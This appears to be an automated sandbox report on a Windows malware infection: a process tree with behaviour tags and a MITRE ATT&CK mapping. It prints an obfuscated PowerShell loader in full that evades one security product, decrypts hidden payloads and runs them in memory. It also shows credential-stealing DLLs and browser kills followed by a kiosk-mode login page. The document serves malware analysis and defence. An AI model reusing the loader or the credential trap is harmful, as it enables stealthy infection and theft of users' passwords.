    - Identifies VirtualBox via ACPI registry values (likely anti-VM)
    - Checks BIOS information in registry
    - Executes dropped EXE
    - Identifies Wine through registry keys
    - Loads dropped DLL
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    PID:3016
- - C:\Users\Admin\AppData\Local\Temp\1009994001\t6kzDd6.exe
    "C:\Users\Admin\AppData\Local\Temp\1009994001\t6kzDd6.exe"
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - Drops file in Windows directory
    - System Location Discovery: System Language Discovery
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of WriteProcessMemory
    PID:668
  - - C:\Users\Admin\AppData\Local\Temp\9f16311490\Gxtuum.exe
      "C:\Users\Admin\AppData\Local\Temp\9f16311490\Gxtuum.exe"
      4⤵
      Executes dropped EXE
      Drops file in System32 directory
      System Location Discovery: System Language Discovery
      Modifies system certificate store
      Suspicious behavior: EnumeratesProcesses
      PID:2432
    - - C:\Windows\system32\cmd.exe
        
        cmd /c "C:\Users\Admin\AppData\Roaming\10000110280\min1_Melted.cmd"
        5⤵
        
        PID:3252
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" echo $host.UI.RawUI.WindowTitle='C:\Users\Admin\AppData\Roaming\10000110280\min1_Melted.cmd';$lAeq='GfZBCetCfZBCurfZBCrefZBCnfZBCtfZBCPrfZBCocfZBCefZBCsfZBCsfZBC'.Replace('fZBC', ''),'MaiPrpmnMoPrpmdPrpmulPrpmePrpm'.Replace('Prpm', ''),'CrIgJgeatIgJgeIgJgDeIgJgcIgJgryIgJgpIgJgtoIgJgrIgJg'.Replace('IgJg', ''),'EJqHmntJqHmrJqHmyPoJqHmintJqHm'.Replace('JqHm', ''),'EleDBwrmeDBwrntADBwrtDBwr'.Replace('DBwr', ''),'ChaFGFHnFGFHgFGFHeEFGFHxtFGFHeFGFHnsiFGFHonFGFH'.Replace('FGFH', ''),'TrFaEMansFaEMfoFaEMrmFaEMFinFaEMalBFaEMlFaEMockFaEM'.Replace('FaEM', ''),'IpACXnvpACXokpACXepACX'.Replace('pACX', ''),'Sssrbplissrbtssrb'.Replace('ssrb', ''),'DVGtReVGtRcomVGtRpreVGtRssVGtR'.Replace('VGtR', ''),'FroomPomBoomPasoomPe6oomP4SoomPtroomPingoomP'.Replace('oomP', ''),'ReaafWIdLafWIinafWIeafWIsafWI'.Replace('afWI', ''),'LIdMHoaIdMHdIdMH'.Replace('IdMH', ''),'CBGdXopBGdXyBGdXToBGdX'.Replace('BGdX', '');powershell -w hidden;$modules=[System.Diagnostics.Process]::($lAeq[0])().Modules;if ($modules -match 'hmpalert.dll') { exit; };function PvrJj($TpxZW){$NbCzo=[System.Security.Cryptography.Aes]::Create();$NbCzo.Mode=[System.Security.Cryptography.CipherMode]::CBC;$NbCzo.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7;$NbCzo.Key=[System.Convert]::($lAeq[10])('wn6tmbO/rOORgxj74qEsSdU2WhE4KPXIqhTJPDz2aPY=');$NbCzo.IV=[System.Convert]::($lAeq[10])('gHqzXB7DsEnzxXPGoUcHcg==');$PddqI=$NbCzo.($lAeq[2])();$ySKdP=$PddqI.($lAeq[6])($TpxZW,0,$TpxZW.Length);$PddqI.Dispose();$NbCzo.Dispose();$ySKdP;}function rEEVf($TpxZW){$QUakK=New-Object System.IO.MemoryStream(,$TpxZW);$zUBgT=New-Object System.IO.MemoryStream;$PwRDy=New-Object System.IO.Compression.GZipStream($QUakK,[IO.Compression.CompressionMode]::($lAeq[9]));$PwRDy.($lAeq[13])($zUBgT);$PwRDy.Dispose();$QUakK.Dispose();$zUBgT.Dispose();$zUBgT.ToArray();}$lkrNY=[System.IO.File]::($lAeq[11])([Console]::Title);$aZZTu=rEEVf (PvrJj ([Convert]::($lAeq[10])([System.Linq.Enumerable]::($lAeq[4])($lkrNY, 5).Substring(2))));$cSjRs=rEEVf (PvrJj ([Convert]::($lAeq[10])([System.Linq.Enumerable]::($lAeq[4])($lkrNY, 6).Substring(2))));[System.Reflection.Assembly]::($lAeq[12])([byte[]]$cSjRs).($lAeq[3]).($lAeq[7])($null,$null);[System.Reflection.Assembly]::($lAeq[12])([byte[]]$aZZTu).($lAeq[3]).($lAeq[7])($null,$null); "
        6⤵
        System Network Configuration Discovery: Internet Connection Discovery
        
        PID:2904
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        6⤵
        Drops file in System32 directory
        Modifies data under HKEY_USERS
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:3348
    - - C:\Windows\SysWOW64\rundll32.exe
        
        "C:\Windows\System32\rundll32.exe" C:\Windows\system32\config\systemprofile\AppData\Roaming\5114ae63d6bd6b\clip64.dll, Main
        5⤵
        Blocklisted process makes network request
        Loads dropped DLL
        System Location Discovery: System Language Discovery
        
        PID:3220
    - - C:\Windows\SysWOW64\rundll32.exe
        
        "C:\Windows\System32\rundll32.exe" C:\Windows\system32\config\systemprofile\AppData\Roaming\5114ae63d6bd6b\cred64.dll, Main
        5⤵
        Loads dropped DLL
        System Location Discovery: System Language Discovery
        
        PID:1980
      - C:\Windows\system32\rundll32.exe
        
        "C:\Windows\System32\rundll32.exe" C:\Windows\system32\config\systemprofile\AppData\Roaming\5114ae63d6bd6b\cred64.dll, Main
        6⤵
        
        PID:2656
- - C:\Users\Admin\AppData\Local\Temp\1009995001\718fffc7bd.exe
    "C:\Users\Admin\AppData\Local\Temp\1009995001\718fffc7bd.exe"
    3⤵
    - Identifies VirtualBox via ACPI registry values (likely anti-VM)
    - Checks BIOS information in registry
    - Executes dropped EXE
    - Identifies Wine through registry keys
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - System Location Discovery: System Language Discovery
    - Modifies system certificate store
    - Suspicious behavior: EnumeratesProcesses
    PID:1672
- - C:\Users\Admin\AppData\Local\Temp\1009996001\fd115d1481.exe
    "C:\Users\Admin\AppData\Local\Temp\1009996001\fd115d1481.exe"
    3⤵
    - Identifies VirtualBox via ACPI registry values (likely anti-VM)
    - Checks BIOS information in registry
    - Executes dropped EXE
    - Identifies Wine through registry keys
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    PID:300
- - C:\Users\Admin\AppData\Local\Temp\1009997001\65bf6b8264.exe
    "C:\Users\Admin\AppData\Local\Temp\1009997001\65bf6b8264.exe"
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of SendNotifyMessage
    - Suspicious use of WriteProcessMemory
    PID:3048
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /F /IM firefox.exe /T
      4⤵
      System Location Discovery: System Language Discovery
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:2292
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /F /IM chrome.exe /T
      4⤵
      System Location Discovery: System Language Discovery
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:1508
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /F /IM msedge.exe /T
      4⤵
      System Location Discovery: System Language Discovery
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:2124
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /F /IM opera.exe /T
      4⤵
      System Location Discovery: System Language Discovery
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:936
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /F /IM brave.exe /T
      4⤵
      System Location Discovery: System Language Discovery
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:604
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
      4⤵
      Suspicious use of WriteProcessMemory
      PID:2132
    - - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
        5⤵
        Checks processor information in registry
        Modifies registry class
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of FindShellTrayWindow
        Suspicious use of SendNotifyMessage
        
        PID:1768
      - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="1768.0.694233693\1844678546" -parentBuildID 20221007134813 -prefsHandle 1236 -prefMapHandle 1228 -prefsLen 20847 -prefMapSize 233444 -appDir "C:\Program Files\Mozilla Firefox\browser" - {eb4d12f9-2097-462b-8d95-d5cf9c338b00} 1768 "\\.\pipe\gecko-crash-server-pipe.1768" 1300 eaeb758 gpu
        6⤵
        
        PID:2368
      - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="1768.1.530899213\896492467" -parentBuildID 20221007134813 -prefsHandle 1508 -prefMapHandle 1504 -prefsLen 21708 -prefMapSize 233444 -appDir "C:\Program Files\Mozilla Firefox\browser" - {5734cf22-9eff-4d84-ab05-8901351e2a5d} 1768 "\\.\pipe\gecko-crash-server-pipe.1768" 1520 d74858 socket
        6⤵
        
        PID:576
      - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="1768.2.1114611128\1769003546" -childID 1 -isForBrowser -prefsHandle 2056 -prefMapHandle 2052 -prefsLen 21746 -prefMapSize 233444 -jsInitHandle 888 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -appDir "C:\Program Files\Mozilla Firefox\browser" - {6d90625c-a665-43a4-ad92-26eb7cba02c2} 1768 "\\.\pipe\gecko-crash-server-pipe.1768" 2068 ea60058 tab
        6⤵
        
        PID:2692
      - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="1768.3.1244152802\341790273" -childID 2 -isForBrowser -prefsHandle 2788 -prefMapHandle 2784 -prefsLen 26216 -prefMapSize 233444 -jsInitHandle 888 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -appDir "C:\Program Files\Mozilla Firefox\browser" - {3897f9a7-c724-4994-8950-43e15827c95e} 1768 "\\.\pipe\gecko-crash-server-pipe.1768" 2800 1d02aa58 tab
        6⤵
        
        PID:1772
      - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="1768.4.13209926\850272435" -childID 3 -isForBrowser -prefsHandle 3760 -prefMapHandle 3756 -prefsLen 26275 -prefMapSize 233444 -jsInitHandle 888 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -appDir "C:\Program Files\Mozilla Firefox\browser" - {ac74f021-d155-4489-a474-9f97d2532a0a} 1768 "\\.\pipe\gecko-crash-server-pipe.1768" 3780 1db6af58 tab
        6⤵
        
        PID:952
      - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="1768.5.458479679\957616640" -childID 4 -isForBrowser -prefsHandle 3880 -prefMapHandle 3884 -prefsLen 26275 -prefMapSize 233444 -jsInitHandle 888 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -appDir "C:\Program Files\Mozilla Firefox\browser" - {894b1fa9-cde4-49e2-9d54-8651ee3d3a07} 1768 "\\.\pipe\gecko-crash-server-pipe.1768" 3868 1db68858 tab
        6⤵
        
        PID:2132
      - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="1768.6.1436252827\2130662461" -childID 5 -isForBrowser -prefsHandle 4144 -prefMapHandle 4148 -prefsLen 26356 -prefMapSize 233444 -jsInitHandle 888 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -appDir "C:\Program Files\Mozilla Firefox\browser" - {e66f013a-27b2-47ee-bc15-90fcc030a003} 1768 "\\.\pipe\gecko-crash-server-pipe.1768" 4100 204ee558 tab
        6⤵
        
        PID:2016
- - C:\Users\Admin\AppData\Local\Temp\1009998001\237cfded39.exe
    "C:\Users\Admin\AppData\Local\Temp\1009998001\237cfded39.exe"
    3⤵
    - Modifies Windows Defender Real-time Protection settings
    - Identifies VirtualBox via ACPI registry values (likely anti-VM)
    - Checks BIOS information in registry
    - Executes dropped EXE
    - Identifies Wine through registry keys
    - Windows security modification
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2600
- - C:\Users\Admin\AppData\Local\Temp\1009999001\45dc7b2666.exe
    "C:\Users\Admin\AppData\Local\Temp\1009999001\45dc7b2666.exe"
    3⤵
    - Enumerates VirtualBox registry keys
    - Identifies VirtualBox via ACPI registry values (likely anti-VM)
    - Checks BIOS information in registry
    - Executes dropped EXE
    - Identifies Wine through registry keys
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    PID:3668

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Defense Evasion

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Modify Registry

Subvert Trust Controls

T1553

Install Root Certificate

T1553.004

Virtualization/Sandbox Evasion

Credential Access

Discovery

Query Registry

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Virtualization/Sandbox Evasion